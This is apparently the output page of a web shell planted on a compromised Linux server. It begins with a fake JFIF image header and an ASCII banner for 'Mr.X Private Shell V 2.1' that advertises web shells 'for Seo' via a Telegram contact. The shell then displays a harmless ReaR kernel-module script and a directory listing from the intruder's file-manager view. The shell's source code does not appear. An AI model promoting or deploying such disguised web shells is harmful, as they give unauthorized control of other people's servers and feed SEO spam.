����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# Determine some usually needed kernel drivers (kernel modules)
# cf. the subsequent rescue/GNU/Linux/240_kernel_modules.sh script.
# Local functions that are 'unset' at the end of this script:
function find_modules_in_dirs () {
# The '2>/dev/null' drops find error messages mainly for non-existent module directories
# cf. https://github.com/rear/rear/pull/1359#issuecomment-300800995
# and the
# ... | sed -e 's/^\(.*\)\.ko.*/\1/'
# removes the trailing .ko faster via one sed call than many basename calls or shell code:
find "$@" -type f -name '*.ko*' -printf '%f\n' 2>/dev/null | sed -e 's/^\(.*\)\.ko.*/\1/'
}
# Include storage drivers
Log "Including storage drivers"
STORAGE_DRIVERS=( $( find_modules_in_dirs /lib/modules/$KERNEL_VERSION/kernel/drivers/{block,firewire,ide,ata,md,message,scsi,usb/storage,s390/block,s390/scsi} ) )
# Include network drivers
Log "Including network drivers"
NETWORK_DRIVERS=( $( find_modules_in_dirs /lib/modules/$KERNEL_VERSION/kernel/drivers/{net,s390/net} ) )
# Include crypto drivers
Log "Including crypto drivers"
CRYPTO_DRIVERS=( $( find_modules_in_dirs /lib/modules/$KERNEL_VERSION/kernel/{crypto,s390/crypto} ) )
# Include virtualization drivers
Log "Including virtualization drivers"
VIRTUAL_DRIVERS=( $( find_modules_in_dirs /lib/modules/$KERNEL_VERSION/kernel/drivers/{virtio,xen} ) )
# Include additional drivers
Log "Including additional drivers"
EXTRA_DRIVERS=( $( find_modules_in_dirs /lib/modules/$KERNEL_VERSION/{extra,weak-updates} ) )
# Local functions must be 'unset' because bash does not support 'local function ...'
# cf. https://unix.stackexchange.com/questions/104755/how-can-i-create-a-local-function-in-my-bashrc
unset -f find_modules_in_dirs
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| 220_load_modules_from_initrd.sh | File | 1.3 KB | 0644 |
|
| 230_storage_and_network_modules.sh | File | 1.7 KB | 0644 |
|
| 240_kernel_modules.sh | File | 1.08 KB | 0644 |
|
| 250_udev.sh | File | 449 B | 0644 |
|
| 260_collect_initrd_modules.sh | File | 295 B | 0644 |
|
| 260_storage_drivers.sh | File | 114 B | 0644 |
|
| 290_kernel_cmdline.sh | File | 3.43 KB | 0644 |
|
| 295_configure_ramdisk_rootfs.sh | File | 542 B | 0644 |
|
| 300_dns.sh | File | 267 B | 0644 |
|
| 310_network_devices.sh | File | 36.46 KB | 0644 |
|
| 320_inet6.sh | File | 121 B | 0644 |
|
| 350_routing.sh | File | 3.65 KB | 0644 |
|
| 390_check_usb_modules.sh | File | 270 B | 0644 |
|
| 410_use_xen_console.sh | File | 222 B | 0644 |
|
| 500_clone_keyboard_mappings.sh | File | 6.97 KB | 0644 |
|
| 550_copy_ldconfig.sh | File | 307 B | 0644 |
|
| 950_cfg2html.sh | File | 1 KB | 0644 |
|
| 960_collect_MC_serviceguard_infos.sh | File | 1.12 KB | 0644 |
|
| 990_sysreqs.sh | File | 3.91 KB | 0644 |
|